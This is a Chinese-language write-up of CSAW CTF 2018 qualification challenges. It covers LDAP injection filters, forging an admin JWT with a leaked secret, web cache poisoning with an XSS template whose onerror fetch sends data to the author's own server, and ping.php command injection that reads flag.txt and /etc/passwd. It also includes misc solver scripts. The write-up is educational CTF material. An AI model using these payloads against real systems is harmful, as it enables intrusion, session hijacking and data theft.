CSAW CTF Qualification Round 2018 Writeup

这次的web做的贼舒服,难度高,学的东西特别多,贼虚服。最近不是懒,是真忙,17号的黑盾,前前后后忙了四天,writeup后面最近才补全,福州这个去了好多次的城市,感慨颇多啊。

Web

Ldab(ldab注入——还需理解学习)

dab

1
http://web.chal.csaw.io:8080

这题,额,不难啊,之前noxctf做过一题ldab注入的题目Dictionary of obscure sorrows,大体类似。

刚开始做的时候,没注意到ldab,发现sql注入无果,后面还是看到OU、CN、SN、GivenName、UID,才反应过来。

1537272110586

测试一波,发现Flag就是查不到,猜测后台过滤语句为:

"(&(GivenName=" + $_GET['search'] + ")(GivenName!=Flag))"

因此构造语句$_GET['search']="Flag))(|(GivenName=*",使得"(&(GivenName=Flag))(|(GivenName=*")(GivenName!=Flag))"为永真条件即可。

1537272522589

不过,后面发现构造*)(uid=*))(|(uid=*也是可以的。

1537272844469

sso(篡改Token——还需理解学习)

Don't you love undocumented APIs

Be the admin you were always meant to be

http://web.chal.csaw.io:9000

Update chal description at: 4:38 to include solve details

Aesthetic update for chal at Sun 7:25 AM

打开网页,查看源代码

1537273716451

尝试访问http://web.chal.csaw.io:9000/protected,回显Missing header: Authorization

1537274035389

尝试访问/oauth2/token,回显Not Found,尝试提交空post数据,弹出incorrect grant_type

1537274187039

尝试访问oauth2/authorize,回显是Not Found,尝试提交空post数据,弹出response_type not code

1537273623996

也就是说两个提示post请求方式的url还是缺少其他参数才能得到我们想要的回显,但是我不知道要提交啥头啊。后面做了其他题回头再看,看到Welcome to our SINGLE SIGN ON PAGE WITH FULL OAUTH2.0!,搜索了下OAUTH2.0,果然找到了一些相关的rfc文档—— RFC-6750RFC-6749 (或者这个

其中rfc6749有这么一个说明,好像懂了啥

1537274553787

后面构造oauth2/authorizepost数据response_type=code&redirect_uri=http://web.chal.csaw.io:9000/protected,发现有个302的跳转

1537278198873

也就是这些内容

Redirecting to <a href="http://web.chal.csaw.io:9000/protected?code=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyZWRpcmVjdF91cmkiOiJodHRwOi8vd2ViLmNoYWwuY3Nhdy5pbzo5MDAwL3Byb3RlY3RlZCIsImlhdCI6MTUzNzI3OTM0NSwiZXhwIjoxNTM3Mjc5OTQ1fQ.UCPeORGG0TCTiwLQznOOwwE3LTJEejZxqHKcZSYJN5s&amp;state=">http://web.chal.csaw.io:9000/protected?code=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyZWRpcmVjdF91cmkiOiJodHRwOi8vd2ViLmNoYWwuY3Nhdy5pbzo5MDAwL3Byb3RlY3RlZCIsImlhdCI6MTUzNzI3OTM0NSwiZXhwIjoxNTM3Mjc5OTQ1fQ.UCPeORGG0TCTiwLQznOOwwE3LTJEejZxqHKcZSYJN5s&amp;state=</a>.

打开http://web.chal.csaw.io:9000/protected?code=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyZWRpcmVjdF91cmkiOiJodHRwOi8vd2ViLmNoYWwuY3Nhdy5pbzo5MDAwL3Byb3RlY3RlZCIsImlhdCI6MTUzNzI3OTM0NSwiZXhwIjoxNTM3Mjc5OTQ1fQ.UCPeORGG0TCTiwLQznOOwwE3LTJEejZxqHKcZSYJN5s&amp;state=看看,发现回显还是Missing header: Authorization

那很好,估计现在是/oauth2/token的问题了,其实思路很明确了,JWT伪造。

刚刚尝试访问/oauth2/token,回显Not Found,尝试提交空post数据,弹出incorrect grant_type,那么我们查查grant_type改改成啥玩意呢,在rfc6749中有以下内容

1537275650034

所以我们设置成grant_type=authorization_code,接着尝试构造post请求数据grant_type=authorization_code&redirect_uri=http://web.chal.csaw.io:9000/protected,提交发现

回显是Missing parameters

1537275905514

检查了下,发现少了个code,就是上上图的grant_type下面的code,我们先设置code=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyZWRpcmVjdF91cmkiOiJodHRwOi8vd2ViLmNoYWwuY3Nhdy5pbzo5MDAwL3Byb3RlY3RlZCIsImlhdCI6MTUzNzI3OTM0NSwiZXhwIjoxNTM3Mjc5OTQ1fQ.UCPeORGG0TCTiwLQznOOwwE3LTJEejZxqHKcZSYJN5s,这个code其实就是上面oauth2/authorizepost请求得到的302code

最终构造的post数据为:

grant_type=authorization_code&code=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyZWRpcmVjdF91cmkiOiJodHRwOi8vd2ViLmNoYWwuY3Nhdy5pbzo5MDAwL3Byb3RlY3RlZCIsImlhdCI6MTUzNzI3OTM0NSwiZXhwIjoxNTM3Mjc5OTQ1fQ.UCPeORGG0TCTiwLQznOOwwE3LTJEejZxqHKcZSYJN5s&redirect_uri=http://web.chal.csaw.io:9000/protected,提交

1537279886433

得到以下数据

token_type “Bearer”
token “eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNzI3OTY4MSwiZXhwIjoxNTM3MjgwMjgxfQ.oKFQF_SrfU3DGfVlC43OuwVp6-ukTDTJVRqcc9BiRNM”

很好,这下,我们可以看到回显了个用户Bearer的token,用下https://jwt.io/看下伪造新的token,我这里将"type":"user"改成了"type":"admin",使用ufoundme为秘钥填充。

1537279832302

按照上面的jwt构造的结果,将构造的jwt设置为http://web.chal.csaw.io:9000/protectedAuthorization头,构造如下:

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWRtaW4iLCJzZWNyZXQiOiJ1Zm91bmRtZSEiLCJpYXQiOjE1MzcyNzk2ODEsImV4cCI6MTUzNzI4MDI4MX0.tLN-8JMx_mbQ4cRK6l-1C5VBLPC66mYjJKJoUcDlDkA

得到flag

1537280149668

1537279784379

最终答案:flag{JsonWebTokensaretheeasieststorage-lessdataoptiononthemarket!theyrelyonsupersecureblockchainlevelencryptionfortheirmethods}

后面还看了看其他大佬的做法,发现差不多,但是大佬们思路整理的很好,这是其中一个大佬整理的思路

1537274637496

Hacker Movie Club(Web 缓存中毒——还需理解学习)

Hacker movies are very popular, so we needed a site that we can scale. You better get started though, there are a lot of movies to watch.

Author: itszn (ret2 systems)

http://app.hm.vulnerable.services/

打开网页是这样子的

1537342809395

一脸蒙蔽,看下源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<html>
<head>
<script data-src="mustache.min.js" data-cdn="6564ab9906a6472e43d8ad5fa6449ead2b591b7d.hm.vulnerable.services"></script>
<script data-src="app.js" data-cdn="6564ab9906a6472e43d8ad5fa6449ead2b591b7d.hm.vulnerable.services"></script>
<style>
@import url('https://fonts.googleapis.com/css?family=Orbitron');
.......//此处省略
</style>
</head>
<body>
<div id="content">Loading..</div>
<script>
window.loaded_recapcha = () => {
window.loaded_recapcha = true;
}
window.loaded_mustache = () => {
window.loaded_mustache = true;
}
</script>

<script src="/cdn.js"></script>

<script src='https://www.google.com/recaptcha/api.js?onload=loaded_recapcha&render=explicit'></script>
</body>
</html>

其中/cdn.js内容为下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
for (let t of document.head.children) {
if (t.tagName !== 'SCRIPT')
continue;
let { cdn, src } = t.dataset;
if (cdn === undefined || src === undefined)
continue;
fetch(`//${cdn}/cdn/${src}`,{
headers: {
'X-Forwarded-Host':cdn
}}
).then(r=>r.blob()).then(b=> {
let u = URL.createObjectURL(b);
let s = document.createElement('script');
s.src = u;
document.head.appendChild(s);
});
}

https://www.google.com/recaptcha/api.js?onload=loaded_recapcha&render=explicit内容为下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/* PLEASE DO NOT COPY AND PASTE THIS CODE. */
(function() {
var CFG = '___grecaptcha_cfg';
if (!window[CFG]) {
window[CFG] = {};
}
var GR = 'grecaptcha';
if (!window[GR]) {
window[GR] = {};
}
window[GR].ready = window[GR].ready ||
function(f) { (window[CFG]['fns'] = window[CFG]['fns'] || []).push(f);
}; (window[CFG]['render'] = window[CFG]['render'] || []).push('explicit'); (window[CFG]['onload'] = window[CFG]['onload'] || []).push('loaded_recapcha');
window['__google_recaptcha_client'] = true;
var po = document.createElement('script');
po.type = 'text/javascript';
po.async = true;
po.src = 'https://www.gstatic.com/recaptcha/api2/v1536705955372/recaptcha__zh_cn.js';
var elem = document.querySelector('script[nonce]');
var n = elem && (elem['nonce'] || elem.getAttribute('nonce'));
if (n) {
po.setAttribute('nonce', n);
}
var s = document.getElementsByTagName('script')[0];
s.parentNode.insertBefore(po, s);
})();

除此之外,还发现了个Report an issue的功能

1537343210855

除此之外,还有这两个js,以下为add.js的内容

1
<script data-src="app.js" data-cdn="6564ab9906a6472e43d8ad5fa6449ead2b591b7d.hm.vulnerable.services"></script>

内容为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
var token = null;

Promise.all([
fetch('/api/movies').then(r=>r.json()),
fetch(`//6564ab9906a6472e43d8ad5fa6449ead2b591b7d.hm.vulnerable.services/cdn/main.mst`).then(r=>r.text()),
new Promise((resolve) => {
if (window.loaded_recapcha === true)
return resolve();
window.loaded_recapcha = resolve;
}),
new Promise((resolve) => {
if (window.loaded_mustache === true)
return resolve();
window.loaded_mustache = resolve;
})
]).then(([user, view])=>{
document.getElementById('content').innerHTML = Mustache.render(view,user);

grecaptcha.render(document.getElementById("captcha"), {
sitekey: '6Lc8ymwUAAAAAM7eBFxU1EBMjzrfC5By7HUYUud5',
theme: 'dark',
callback: t=> {
token = t;
document.getElementById('report').disabled = false;
}
});
let hidden = true;
document.getElementById('report').onclick = () => {
if (hidden) {
document.getElementById("captcha").parentElement.style.display='block';
document.getElementById('report').disabled = true;
hidden = false;
return;
}
fetch('/api/report',{
method: 'POST',
body: JSON.stringify({token:token})
}).then(r=>r.json()).then(j=>{
if (j.success) {
// The admin is on her way to check the page
alert("Neo... nobody has ever done this before.");
alert("That's why it's going to work.");
} else {
alert("Dodge this.");
}
});
}
});

其中还有6564ab9906a6472e43d8ad5fa6449ead2b591b7d.hm.vulnerable.services/cdn/main.mst,下载看看,内容为下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<div class="header">
Hacker Movie Club
</div>

{{#admin}}
<div class="header admin">
Welcome to the desert of the real.
</div>
{{/admin}}

<table class="movies">
<thead>
<th>Name</th><th>Year</th><th>Length</th>
</thead>
<tbody>
{{#movies}}
{{^admin_only}}
<tr>
<td>{{ name }}</td>
<td>{{ year }}</td>
<td>{{ length }}</td>
</tr>
{{/admin_only}}
{{/movies}}
</tbody>
</table>

<div class="captcha">
<div id="captcha"></div>
</div>
<button id="report" type="submit" class="report"></button>

上诉这些,其实都可以通过开发者工具一览究竟

1537345852973

在其中的/api/report发现了一些有趣的东西

1537346702605

回显如下

1
2
3
{"admin":false,"movies":[{"admin_only":false,"length":"1 Hour, 54 Minutes","name":"WarGames","year":1983},{"admin_only":false,"length":"0 Hours, 31 Minutes","name":"Kung Fury","year":2015},{"admin_only":false,"length":"2 Hours, 6 Minutes","name":"Sneakers","year":1992},{"admin_only":false,"length":"1 Hour, 39 Minutes","name":"Swordfish","year":2001},{"admin_only":false,"length":"2 Hours, 6 Minutes","name":"The Karate Kid","year":1984},{"admin_only":false,"length":"1 Hour, 23 Minutes","name":"Ghost in the Shell","year":1995},{"admin_only":false,"length":"5 Hours, 16 Minutes","name":"Serial Experiments Lain","year":1998},{"admin_only":false,"length":"2 Hours, 16 Minutes","name":"The Matrix","year":1999},{"admin_only":false,"length":"1 Hour, 57 Minutes","name":"Blade Runner","year":1982},{"admin_only":false,"length":"2 Hours, 43 Minutes","name":"Blade Runner 2049","year":2017},
{"admin_only":false,"length":"1 Hour, 47 Minutes","name":"Hackers","year":1995},{"admin_only":false,"length":"1 Hour, 36 Minutes","name":"TRON","year":1982},{"admin_only":false,"length":"2 Hours, 5 Minutes","name":"Tron: Legacy","year":2010},{"admin_only":false,"length":"2 Hours, 25 Minutes","name":"Minority Report","year":2002},
{"admin_only":false,"length":"2 Hours, 37 Minutes","name":"eXistenZ","year":1999},{"admin_only":true,"length":"22 Hours, 17 Minutes","name":"[REDACTED]","year":2018}]}

可以看到最后一句{"admin_only":true,"length":"22 Hours, 17 Minutes","name":"[REDACTED]","year":2018}]}与之前的不同,猜测着里如果将true改成flase,那么[REDACTED]将是可见的,但是好像没用啊。做题的时候,也就只做到这里,后面看了大佬们的writeup才理解过来。

仔细查看每个响应头都有:Via: 1.1 varnish-v4

1537346973458

额,,下面直接引用大佬的writeup

了解了下varnish,发现它是一个反向代理中的缓存服务程序。

如果来自Apache的响应是可缓存的,Varnish会将其存储以便更快地响应未来的请求。

  varnish详细的请求头可以在这里找到。

  所以这里我们需要用到一种叫Web Cache Poisoningweb缓存污染)的利用方法,这个跟Cache Poisoning(又称DNS污染)是不一样的东西。

  参考链接:

  中文版-实战Web缓存中毒

  英文原版

  这里我们可以重点关注DOM Poisoning(DOM污染)。

  另一个需要先了解的事情是X-Forwarded-Host的作用,详情可参考:这里

X-Forwarded-Host (XFH) 是一个事实上的标准首部,用来确定客户端发起的请求中使用 Host 指定的初始域名。 反向代理(如负载均衡服务器、CDN等)的域名或端口号可能会与处理请求的源头服务器有所不同,在这种情况下,X-Forwarded-Host 可以用来确定哪一个域名是最初被用来访问的。

  语法:

1
X-Forwarded-Host: <host>

  上面这些归结起来就是当服务器进行缓存时它会将客户端的请求转发到XFH指定的host上去。

  现在再回过头看看我们已有的资料。我们得知main.mst是模板文件,它会利用等对admin身份进行判断,如果我们能够劫持掉这个模板文件,使她绕过admin就可以获得到完整的项。

  我们先来找到main.mst缓存的最大时间(max-age),我们可以带着X-Forwarded-Host不停的请求/cdn/app.js,如果fetch('//4ca7ee46a1d73057a0e009e5ce94291030185d14.hm.vulnerable.services/cdn/main.mst')能被我们控制到fetch('my_server/cdn/main.mst')上就成功的完成了劫持。

  我们可以使用下面的脚本验证一下:

1
2
3
4
5
6
7
8
9
10
11
12
# -*- coding: utf-8 -*-

import requests

X_Forwarded_Host = '1.2.3.4'

while True:
resp = requests.get("http://4ca7ee46a1d73057a0e009e5ce94291030185d14.hm.vulnerable.services/cdn/app.js", headers={'X-Forwarded-Host': X_Forwarded_Host})
print resp.headers
if X_Forwarded_Host in resp.text:
print resp.text
break

1537351113421

得到的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
var token = null;

Promise.all([
fetch('/api/movies').then(r=>r.json()),
fetch(`//1.2.3.4/cdn/main.mst`).then(r=>r.text()),
new Promise((resolve) => {
if (window.loaded_recapcha === true)
return resolve();
window.loaded_recapcha = resolve;
}),
new Promise((resolve) => {
if (window.loaded_mustache === true)
return resolve();
window.loaded_mustache = resolve;
})
]).then(([user, view])=>{
document.getElementById('content').innerHTML = Mustache.render(view,user);

grecaptcha.render(document.getElementById("captcha"), {
sitekey: '6Lc8ymwUAAAAAM7eBFxU1EBMjzrfC5By7HUYUud5',
theme: 'dark',
callback: t=> {
token = t;
document.getElementById('report').disabled = false;
}
});
let hidden = true;
document.getElementById('report').onclick = () => {
if (hidden) {
document.getElementById("captcha").parentElement.style.display='block';
document.getElementById('report').disabled = true;
hidden = false;
return;
}
fetch('/api/report',{
method: 'POST',
body: JSON.stringify({token:token})
}).then(r=>r.json()).then(j=>{
if (j.success) {
// The admin is on her way to check the page
alert("Neo... nobody has ever done this before.");
alert("That's why it's going to work.");
} else {
alert("Dodge this.");
}
});
}
});

em~

然后通过web缓存污染劫持了模板文件。接着我们再构造好模板文件,然后让admin去访问就可以拿到flag了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<div class="header">
Hacker Movie Club
</div>

<div class="header admin">
Welcome to the desert of the real.
</div>

<table class="movies">
<thead>
<th>Name</th><th>Year</th><th>Length</th>
</thead>
<tbody>

<tr>
<td></td>
<td></td>
<td></td>
</tr>

</tbody>
</table>

<div class="captcha">
<div id="captcha"></div>
</div>
<button id="report" type="submit" class="report"></button>
<img src=x onerror="fetch('http://my_server_ip/'+'')">

它要求服务器回应的头信息要包含Access-Control-Allow-Origin字段,如果你不想配置Apache或者Nginx,那你可以使用下面这个建议的python web server。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python
# -*- coding: utf-8 -*-

try:
# Python 3
from http.server import HTTPServer, SimpleHTTPRequestHandler, test as test_orig
import sys
def test (*args):
test_orig(*args, port=int(sys.argv[1]) if len(sys.argv) > 1 else 8000)
except ImportError: # Python 2
from BaseHTTPServer import HTTPServer, test
from SimpleHTTPServer import SimpleHTTPRequestHandler

class CORSRequestHandler (SimpleHTTPRequestHandler):
def end_headers (self):
self.send_header('Access-Control-Allow-Origin', '*')
SimpleHTTPRequestHandler.end_headers(self)

if __name__ == '__main__':
test(CORSRequestHandler, HTTPServer)

开启后就能在日志输出中得到flag{I_h0pe_you_w4tch3d_a11_th3_m0v1es}

No Vulnerable Services(CSP绕过,ping读文件——还需理解学习)

No Vulnerable Services is a company founded on the idea that all websites should be secure. We use the latest web security standards, and provide complementary pentests of all customer sites with our exclusive NoPwn® guarantee.

Be #unhackable.™

http://no.vulnerable.services/

此题没做出来,稍显复杂,先扔个writeup,然后复现一遍

首先用这个CSP检测工具检验CSP,检验结果如下图:

1537365900771

发现script-src可能存在问题,但题目环境中我们并没有能够控制src的地方,所以再回头看看还有什么发现。

页面的最底下发现了一个奇怪的域名

1537365952852

我们ping一下no.vulnerable.services发现解析地址是:216.165.2.40,16进制表示就是0xd8a50228

由于CSP中存在script-src *.no.vulnerable.services,通过代理,我们可以绕过这一层。但是如何挂上代理呢?这里还有有一个点就是我们能提交网站内容供他们检查,他们会使用bot去模拟访问。

1537433319556

提交之后,得到了cookie=PHPSESSID=9evknkhr4lfb2oii4h2k71ulac

1537433181250

但是这里我尝试使用这里的cookie访问http://admin.no.vulnerable.services,都是需要账号和密码的,完全复现不出以下页面

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<head>
<title>NVS INTERNAL - Admin</title>
</head>
<body>
<p>Current Visitors: 672</p>
<p>Quick links:</p>
<ul>
<li><a href="//support.no.vulnerable.services">Support</a></li>
<li><a href="lb.php">Load Balancers - BETA</a></li>
</ul>
</body>
</html>

以下是我尝试的两个页面截图,第二个页面还是重定向到了login.php去了

1537406529974

1537406731871

下面这句话我没搞懂,是我太菜了?还请大佬们教教我

1537433574609

额,假设我复现出以上页面,使用这个cookie的成功访问http://admin.no.vulnerable.services,我们将看到admin.no.vulnerable.services/lb.phpsupport.no.vulnerable.services

查看其中lb.php,其实是一个负载均衡的监视器:

1537433252118

lb.php,我们可以找到216.165.2.41,但无法访问。

1537433820630

如果我们将Host更改为support.no.vulnerable.services,则会返回Hacking detected! Denied attempt to proxy to a NVS internal hostname. Your IP has been logged.

1537406901499

这是因为216.165.2.41是代理,所以我们可以按照上面的格式将Host改为{hexip}.ip.no.vulnerable.service。但怎么知道ip呢?我们pingsupport.no.vulnerable.services,知道它的ip172.16.2.5,而172.16.2.516进制值为ac100205,所以我们可以使用ac100205.ip.no.vulnerable.services它来访问它。(这个网站ip值转化为16进制值)

构造完,我们访问下,得到如下页面,可以看到有个ping.php

1537407249656

这个页面是可以进行ping,看来它是一个ping命令行注入。

1537407286715

尝试下(注意Host头部均要改成Host: ac100205.ip.no.vulnerable.services

1537407427066

尝试ls一下

1
GET /ping.php?dest=127.0.0.`ls`

1537407642085

读取flag.txt

1
GET /ping.php?dest=127.0.0.1`cat%20flag.txt`

1537407992506

得到flag{7672f158167cab32aebc161abe0fbfcaee2868c1}

后面尝试读取其他文件,比如ping.php

1537408264849

以下是此源码

1
2
3
4
5
6
7
8
9
<?php
if (!isset($_GET['dest'])) {
die("Missing parameters.");
}

$dest = $_GET['dest'];

system("ping -c3 \"" . $dest . "\" 2>&1");
?>

又如/etc/passwd…….其他自行摸索篇

1537408363301

WTF.SQL(没搞懂考的啥——此题未解决)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
         C S A W
C T F


It is a period of civil war.
Rebel hackers, striking
from a hidden base, have won
their first victory against
the evil DBA.

During the battle, Rebel
spies managed to steal secret
plans to the DBA's
ultimate weapon, WTF.SQL,
an integrated framework
with enough buzzwords to
host an entire website.

Pursued by the DBA's
sinister agents, You, the
Player, race home aboard
your VT100, custodian of the
stolen schema that can save
the animals and restore
freedom to the internet.....

Your mission is to read out
the txt table in the flag
database.

Enjoy :>

Edit: (09/15 11:06 AM EST) Fixed a bug in stage 2

http://web.chal.csaw.io:3306

此题先放出writeup

Misc

Twitch Plays Test Flag(签到题)
1
flag{typ3_y3s_to_c0nt1nue}
bin_t

Binary trees let you do some interesting things. Can you balance a tree?

1
nc misc.chal.csaw.io 9001

Equal nodes should be inserted to the right of the parent node. You should balance the tree as you add nodes.

nc下给出一组数字,将这组数字转换成平衡二叉树,并且给出该ACL树的前序遍历。

Add these numbers to a AVL Binary Tree, then send them back in the preorder traversal!
99,5,76,16,73,65,45,48,52,81,99,38,16,83,91,20,40,35,41,94,26,40,53,89,93,43,27,49,3,87,98,48,38,64,78,44,81,22,28,35,29,51,63,87,55,99,78,34,47,0,98,54,88,55,81,66,60,40,23,78,70,74,83,98,38,24,29,4,64,65,49,46,46,10,22,98,35,55,73,16,83,86,21,99,78,56,31,6,77,83,81,69,63,77,26,31,20,81,76,8
Send the preorder traversal in a comma sperated list.

对于我这种菜鸡而言,还是有点难度的,直接github找了下,调用pyavltree

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
from pyavltree import AVLTree

r = remote("misc.chal.csaw.io", 9001)
r.recvline()
numbers = [int(x) for x in r.recvline().split(",")]
r.recvline()

tree = AVLTree(numbers)

r.sendline(",".join([str(x) for x in tree.preorder(tree.rootNode)]))

print r.recvall()

得到flag

1537435410792

不过这样的做法是学不到东西的,还是得回头学。

Short Circuit

Start from the monkey’s paw and work your way down the high voltage line, for every wire that is branches off has an element that is either on or off. Ignore the first bit. Standard flag format.

  • Elyk

Hint: There are 112 Things You Need to Worry About

20180915_074129.jpg

这题是我见过最恐怖的misc题,正确做法如下

6

上面那个看不懂,再看下面的

short-circuit

然后拼接

01100110 01101100 01100001 01100111 01111011 01101111 01110111 01101101 01111001
01101000 01100001 01101110 01100100 01111101

转换得到flag

1537436074257

此题有非常详细的writeup,可以仔细学习到很多东西

Algebra

Are you a real math wiz?

1
nc misc.chal.csaw.io 9002

这题不难,自己用pwntools写出来了,不过无意间看了大佬的简易代码,运用复数的姿势,稍微修改了下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#-*-coding:utf-8
import socket

sc=socket.socket()
host = "misc.chal.csaw.io"
port =9002
addr=(host,port)
sc.connect(addr)
print sc.recv(2048)

def solve1(eq,var='X'):
eq1 = eq.replace("=","-(") + ")"
print eq1
c = eval(eq1,{var:1j})
print c
print c.real,c.imag
if (-c.real == 0):
return 0
else:
return -c.real/c.imag

def find(num):
print '============ ' + str(num) + ' ==============='
data = sc.recv(1024)
if "flag" in data:
print data
return 1
if num!=1:
equation = data.split('\n')[1]
else:
equation = data.split('\n')[0]
print equation
result = str(solve1(equation))
print 'solving:' + equation + ', result = ' + result
sc.send(result + '\n')
print '==========================='

return 0


i = 1
while True:
if find(i):
break
i += 1

运行得到flag

1537438355628

最终答案flag{y0u_s0_60od_aT_tH3_qU1cK_M4tH5}

pwntools使用的源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
from re import *

r = remote("misc.chal.csaw.io", 9002)

# Skip the banner
r.recvuntil("*********")
r.recvline()

while True:
task = r.recvline()
print task
print r.recvuntil("What does X equal?: ")

eq1 = task.replace("=","-(")+")"
c = eval(eq1,{"X":1j})

# Return 0 by default = if infinite solutions
result = 0
if c.imag != 0:
result = -c.real/c.imag

r.sendline(str(result))
print r.recvline()
Take an L

Fill the grid with L’s but avoid the marked spot for the W

1
nc misc.chal.csaw.io 9000

The origin is at (0,0) on the top left

description.pdf

此题,对于菜鸡而言不是现在能解决的,我放弃,放出writeup

Forensics

simple_recovery

Simple Recovery Try to recover the data from these RAID 5 images!

disk.img0.7zdisk.img1.7z

提供两个文件,file

1537236481427

img文件,尝试一波挂载,竟然没效果,使用绝招strings *| grep "flag",搜索出flag,一脸郁闷

1537238416590

🐼 Rewind

Sometimes you have to look back and replay what has been done right and wrong

解压之后,使用绝招strings *| grep "flag",就那么几个,尝试下

1537441789426

最终答案:flag{RUN_R3C0RD_ANA1YZ3_R3P3AT}

whyOS

Have fun digging through that one. No device needed.

Note: the flag is not in flag{} format

HINT: the flag is literally a hex string. Put the hex string in the flag submission box

Update (09/15 11:45 AM EST) - Point of the challenge has been raised to 300 Update Sun 9:09 AM: its a hex string guys

com.yourcompany.whyos_4.2.0-28debug_iphoneos-arm.deb

console.log

给了两个文件

强行命令strings * | grep 'Preferences' | grep -E '[0-9a-fA-F]{32,}'搜索

1537442382158

最终答案ca3412b55940568c5b10a616fa7b855e

mcgriddle

All CTF players are squares

Edit (09/14 8:22 PM) - Uploaded new pcap file

Edit (09/15 12:10 AM) - Uploaded new pcap file

final.pcap

这题流量分析后面单独开篇讲解,贼有意思的一道题目。

0%